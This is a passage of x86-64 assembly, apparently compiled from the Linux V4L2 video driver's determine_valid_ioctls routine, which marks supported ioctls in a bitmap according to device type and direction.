.globl vidioc_s_audio
.align 4
.type vidioc_s_audio, @object
.size vidioc_s_audio, 4
vidioc_s_audio:
.zero 4
.globl vidioc_s_audout
.align 4
.type vidioc_s_audout, @object
.size vidioc_s_audout, 4
vidioc_s_audout:
.zero 4
.globl vidioc_s_dv_timings
.align 4
.type vidioc_s_dv_timings, @object
.size vidioc_s_dv_timings, 4
vidioc_s_dv_timings:
.zero 4
.globl vidioc_s_edid
.align 4
.type vidioc_s_edid, @object
.size vidioc_s_edid, 4
vidioc_s_edid:
.zero 4
.globl vidioc_s_fbuf
.align 4
.type vidioc_s_fbuf, @object
.size vidioc_s_fbuf, 4
vidioc_s_fbuf:
.zero 4
.globl vidioc_s_frequency
.align 4
.type vidioc_s_frequency, @object
.size vidioc_s_frequency, 4
vidioc_s_frequency:
.zero 4
.globl vidioc_s_hw_freq_seek
.align 4
.type vidioc_s_hw_freq_seek, @object
.size vidioc_s_hw_freq_seek, 4
vidioc_s_hw_freq_seek:
.zero 4
.globl vidioc_s_input
.align 4
.type vidioc_s_input, @object
.size vidioc_s_input, 4
vidioc_s_input:
.zero 4
.globl vidioc_s_jpegcomp
.align 4
.type vidioc_s_jpegcomp, @object
.size vidioc_s_jpegcomp, 4
vidioc_s_jpegcomp:
.zero 4
.globl vidioc_s_modulator
.align 4
.type vidioc_s_modulator, @object
.size vidioc_s_modulator, 4
vidioc_s_modulator:
.zero 4
.globl vidioc_s_output
.align 4
.type vidioc_s_output, @object
.size vidioc_s_output, 4
vidioc_s_output:
.zero 4
.globl vidioc_s_parm
.align 4
.type vidioc_s_parm, @object
.size vidioc_s_parm, 4
vidioc_s_parm:
.zero 4
.globl vidioc_s_selection
.align 4
.type vidioc_s_selection, @object
.size vidioc_s_selection, 4
vidioc_s_selection:
.zero 4
.globl vidioc_s_std
.align 4
.type vidioc_s_std, @object
.size vidioc_s_std, 4
vidioc_s_std:
.zero 4
.globl vidioc_s_tuner
.align 4
.type vidioc_s_tuner, @object
.size vidioc_s_tuner, 4
vidioc_s_tuner:
.zero 4
.globl vidioc_streamoff
.align 4
.type vidioc_streamoff, @object
.size vidioc_streamoff, 4
vidioc_streamoff:
.zero 4
.globl vidioc_streamon
.align 4
.type vidioc_streamon, @object
.size vidioc_streamon, 4
vidioc_streamon:
.zero 4
.globl vidioc_subscribe_event
.align 4
.type vidioc_subscribe_event, @object
.size vidioc_subscribe_event, 4
vidioc_subscribe_event:
.zero 4
.globl vidioc_try_decoder_cmd
.align 4
.type vidioc_try_decoder_cmd, @object
.size vidioc_try_decoder_cmd, 4
vidioc_try_decoder_cmd:
.zero 4
.globl vidioc_try_encoder_cmd
.align 4
.type vidioc_try_encoder_cmd, @object
.size vidioc_try_encoder_cmd, 4
vidioc_try_encoder_cmd:
.zero 4
.globl vidioc_unsubscribe_event
.align 4
.type vidioc_unsubscribe_event, @object
.size vidioc_unsubscribe_event, 4
vidioc_unsubscribe_event:
.zero 4
.text
.type determine_valid_ioctls, @function
determine_valid_ioctls:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 72
.cfi_offset 3, -24
mov QWORD PTR -72[rbp], rdi
mov edx, DWORD PTR BASE_VIDIOC_PRIVATE[rip]
mov eax, DWORD PTR valid_ioctls[rip]
mov esi, edx
mov edi, eax
call DECLARE_BITMAP@PLT
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 32[rax]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR VFL_TYPE_GRABBER[rip]
cmp rdx, rax
sete al
movzx eax, al
mov DWORD PTR -52[rbp], eax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR VFL_TYPE_VBI[rip]
cmp rdx, rax
sete al
movzx eax, al
mov DWORD PTR -48[rbp], eax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR VFL_TYPE_RADIO[rip]
cmp rdx, rax
sete al
movzx eax, al
mov DWORD PTR -44[rbp], eax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR VFL_TYPE_SDR[rip]
cmp rdx, rax
sete al
movzx eax, al
mov DWORD PTR -40[rbp], eax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR VFL_TYPE_TOUCH[rip]
cmp rdx, rax
sete al
movzx eax, al
mov DWORD PTR -36[rbp], eax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR VFL_DIR_TX[rip]
cmp rdx, rax
setne al
movzx eax, al
mov DWORD PTR -32[rbp], eax
mov rax, QWORD PTR -72[rbp]
mov rdx, QWORD PTR 8[rax]
mov rax, QWORD PTR VFL_DIR_RX[rip]
cmp rdx, rax
setne al
movzx eax, al
mov DWORD PTR -28[rbp], eax
mov edx, DWORD PTR BASE_VIDIOC_PRIVATE[rip]
mov eax, DWORD PTR valid_ioctls[rip]
mov esi, edx
mov edi, eax
call bitmap_zero@PLT
mov edx, DWORD PTR vidioc_querycap[rip]
mov ecx, DWORD PTR VIDIOC_QUERYCAP[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_PRIORITY[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_S_PRIORITY[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
jne .L2
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 512[rax]
test rax, rax
je .L3
.L2:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_QUERYCTRL[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L3:
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
jne .L4
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 504[rax]
test rax, rax
je .L5
.L4:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_QUERY_EXT_CTRL[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L5:
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
jne .L6
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 496[rax]
test rax, rax
jne .L6
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 480[rax]
test rax, rax
je .L7
.L6:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_CTRL[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L7:
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
jne .L8
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 488[rax]
test rax, rax
jne .L8
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 472[rax]
test rax, rax
je .L9
.L8:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_S_CTRL[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L9:
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
jne .L10
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 480[rax]
test rax, rax
je .L11
.L10:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_EXT_CTRLS[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L11:
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
jne .L12
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 472[rax]
test rax, rax
je .L13
.L12:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_S_EXT_CTRLS[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L13:
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
jne .L14
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 464[rax]
test rax, rax
je .L15
.L14:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_TRY_EXT_CTRLS[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L15:
mov rax, QWORD PTR -72[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
jne .L16
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 456[rax]
test rax, rax
je .L17
.L16:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_QUERYMENU[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L17:
mov edx, DWORD PTR vidioc_g_frequency[rip]
mov ecx, DWORD PTR VIDIOC_G_FREQUENCY[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_frequency[rip]
mov ecx, DWORD PTR VIDIOC_S_FREQUENCY[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_log_status[rip]
mov ecx, DWORD PTR VIDIOC_LOG_STATUS[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_subscribe_event[rip]
mov ecx, DWORD PTR VIDIOC_DQEVENT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_subscribe_event[rip]
mov ecx, DWORD PTR VIDIOC_SUBSCRIBE_EVENT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_unsubscribe_event[rip]
mov ecx, DWORD PTR VIDIOC_UNSUBSCRIBE_EVENT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 448[rax]
test rax, rax
jne .L18
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 440[rax]
test rax, rax
jne .L18
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 432[rax]
test rax, rax
je .L19
.L18:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_ENUM_FREQ_BANDS[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L19:
cmp DWORD PTR -52[rbp], 0
jne .L20
cmp DWORD PTR -36[rbp], 0
je .L21
.L20:
cmp DWORD PTR -32[rbp], 0
je .L22
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 424[rax]
test rax, rax
jne .L23
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 416[rax]
test rax, rax
jne .L23
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 408[rax]
test rax, rax
jne .L23
.L22:
cmp DWORD PTR -28[rbp], 0
je .L24
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 400[rax]
test rax, rax
jne .L23
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 392[rax]
test rax, rax
je .L24
.L23:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_ENUM_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L24:
cmp DWORD PTR -32[rbp], 0
je .L25
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 384[rax]
test rax, rax
jne .L26
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 376[rax]
test rax, rax
jne .L26
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 368[rax]
test rax, rax
jne .L26
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 360[rax]
test rax, rax
jne .L26
.L25:
cmp DWORD PTR -28[rbp], 0
je .L27
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 352[rax]
test rax, rax
jne .L26
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 344[rax]
test rax, rax
jne .L26
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 336[rax]
test rax, rax
jne .L26
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 328[rax]
test rax, rax
je .L27
.L26:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L27:
cmp DWORD PTR -32[rbp], 0
je .L28
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 320[rax]
test rax, rax
jne .L29
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 312[rax]
test rax, rax
jne .L29
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 304[rax]
test rax, rax
jne .L29
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 296[rax]
test rax, rax
jne .L29
.L28:
cmp DWORD PTR -28[rbp], 0
je .L30
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 288[rax]
test rax, rax
jne .L29
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 280[rax]
test rax, rax
jne .L29
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 272[rax]
test rax, rax
jne .L29
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 264[rax]
test rax, rax
je .L30
.L29:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_S_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L30:
cmp DWORD PTR -32[rbp], 0
je .L31
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 256[rax]
test rax, rax
jne .L32
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 248[rax]
test rax, rax
jne .L32
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 240[rax]
test rax, rax
jne .L32
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 232[rax]
test rax, rax
jne .L32
.L31:
cmp DWORD PTR -28[rbp], 0
je .L33
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 224[rax]
test rax, rax
jne .L32
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 216[rax]
test rax, rax
jne .L32
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 208[rax]
test rax, rax
jne .L32
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 200[rax]
test rax, rax
je .L33
.L32:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_TRY_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L33:
mov edx, DWORD PTR vidioc_overlay[rip]
mov ecx, DWORD PTR VIDIOC_OVERLAY[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_fbuf[rip]
mov ecx, DWORD PTR VIDIOC_G_FBUF[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_fbuf[rip]
mov ecx, DWORD PTR VIDIOC_S_FBUF[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_jpegcomp[rip]
mov ecx, DWORD PTR VIDIOC_G_JPEGCOMP[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_jpegcomp[rip]
mov ecx, DWORD PTR VIDIOC_S_JPEGCOMP[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_enc_index[rip]
mov ecx, DWORD PTR VIDIOC_G_ENC_INDEX[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_encoder_cmd[rip]
mov ecx, DWORD PTR VIDIOC_ENCODER_CMD[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_try_encoder_cmd[rip]
mov ecx, DWORD PTR VIDIOC_TRY_ENCODER_CMD[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_decoder_cmd[rip]
mov ecx, DWORD PTR VIDIOC_DECODER_CMD[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_try_decoder_cmd[rip]
mov ecx, DWORD PTR VIDIOC_TRY_DECODER_CMD[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_enum_framesizes[rip]
mov ecx, DWORD PTR VIDIOC_ENUM_FRAMESIZES[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_enum_frameintervals[rip]
mov ecx, DWORD PTR VIDIOC_ENUM_FRAMEINTERVALS[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 192[rax]
test rax, rax
je .L34
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_CROP[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_CROPCAP[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L34:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 184[rax]
test rax, rax
je .L35
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_S_CROP[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L35:
mov edx, DWORD PTR vidioc_g_selection[rip]
mov ecx, DWORD PTR VIDIOC_G_SELECTION[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_selection[rip]
mov ecx, DWORD PTR VIDIOC_S_SELECTION[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
jmp .L36
.L21:
cmp DWORD PTR -48[rbp], 0
je .L37
cmp DWORD PTR -32[rbp], 0
je .L38
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 176[rax]
test rax, rax
jne .L39
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 168[rax]
test rax, rax
jne .L39
.L38:
cmp DWORD PTR -28[rbp], 0
je .L40
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 160[rax]
test rax, rax
jne .L39
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 152[rax]
test rax, rax
je .L40
.L39:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L40:
cmp DWORD PTR -32[rbp], 0
je .L41
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 144[rax]
test rax, rax
jne .L42
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 136[rax]
test rax, rax
jne .L42
.L41:
cmp DWORD PTR -28[rbp], 0
je .L43
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 128[rax]
test rax, rax
jne .L42
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 120[rax]
test rax, rax
je .L43
.L42:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_S_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L43:
cmp DWORD PTR -32[rbp], 0
je .L44
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 112[rax]
test rax, rax
jne .L45
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 104[rax]
test rax, rax
jne .L45
.L44:
cmp DWORD PTR -28[rbp], 0
je .L46
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 96[rax]
test rax, rax
jne .L45
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 88[rax]
test rax, rax
je .L46
.L45:
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_TRY_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L46:
mov edx, DWORD PTR vidioc_g_sliced_vbi_cap[rip]
mov ecx, DWORD PTR VIDIOC_G_SLICED_VBI_CAP[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
jmp .L36
.L37:
cmp DWORD PTR -40[rbp], 0
je .L47
cmp DWORD PTR -32[rbp], 0
je .L47
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 80[rax]
test rax, rax
je .L48
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_ENUM_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L48:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 72[rax]
test rax, rax
je .L49
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L49:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 64[rax]
test rax, rax
je .L50
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_S_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L50:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 56[rax]
test rax, rax
je .L36
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_TRY_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
jmp .L36
.L47:
cmp DWORD PTR -40[rbp], 0
je .L36
cmp DWORD PTR -28[rbp], 0
je .L36
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 48[rax]
test rax, rax
je .L52
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_ENUM_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L52:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 40[rax]
test rax, rax
je .L53
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_G_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L53:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 32[rax]
test rax, rax
je .L54
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_S_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L54:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 24[rax]
test rax, rax
je .L36
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_TRY_FMT[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L36:
cmp DWORD PTR -52[rbp], 0
jne .L55
cmp DWORD PTR -48[rbp], 0
jne .L55
cmp DWORD PTR -40[rbp], 0
jne .L55
cmp DWORD PTR -36[rbp], 0
je .L56
.L55:
mov edx, DWORD PTR vidioc_reqbufs[rip]
mov ecx, DWORD PTR VIDIOC_REQBUFS[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_querybuf[rip]
mov ecx, DWORD PTR VIDIOC_QUERYBUF[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_qbuf[rip]
mov ecx, DWORD PTR VIDIOC_QBUF[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_expbuf[rip]
mov ecx, DWORD PTR VIDIOC_EXPBUF[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_dqbuf[rip]
mov ecx, DWORD PTR VIDIOC_DQBUF[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_create_bufs[rip]
mov ecx, DWORD PTR VIDIOC_CREATE_BUFS[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_prepare_buf[rip]
mov ecx, DWORD PTR VIDIOC_PREPARE_BUF[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_streamon[rip]
mov ecx, DWORD PTR VIDIOC_STREAMON[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_streamoff[rip]
mov ecx, DWORD PTR VIDIOC_STREAMOFF[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
.L56:
cmp DWORD PTR -52[rbp], 0
jne .L57
cmp DWORD PTR -48[rbp], 0
jne .L57
cmp DWORD PTR -36[rbp], 0
je .L58
.L57:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 16[rax]
test rax, rax
je .L59
mov ebx, DWORD PTR valid_ioctls[rip]
mov eax, DWORD PTR VIDIOC_ENUMSTD[rip]
mov edi, eax
call _IOC_NR@PLT
mov esi, ebx
mov edi, eax
call set_bit@PLT
.L59:
mov edx, DWORD PTR vidioc_s_std[rip]
mov ecx, DWORD PTR VIDIOC_S_STD[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_std[rip]
mov ecx, DWORD PTR VIDIOC_G_STD[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
cmp DWORD PTR -32[rbp], 0
je .L60
mov edx, DWORD PTR vidioc_querystd[rip]
mov ecx, DWORD PTR VIDIOC_QUERYSTD[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_enum_input[rip]
mov ecx, DWORD PTR VIDIOC_ENUMINPUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_g_input[rip]
mov ecx, DWORD PTR VIDIOC_G_INPUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_s_input[rip]
mov ecx, DWORD PTR VIDIOC_S_INPUT[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
call SET_VALID_IOCTL@PLT
mov edx, DWORD PTR vidioc_enumaudio[rip]
mov ecx, DWORD PTR VIDIOC_ENUMAUDIO[rip]
mov rax, QWORD PTR -24[rbp]
mov esi, ecx
mov rdi, rax
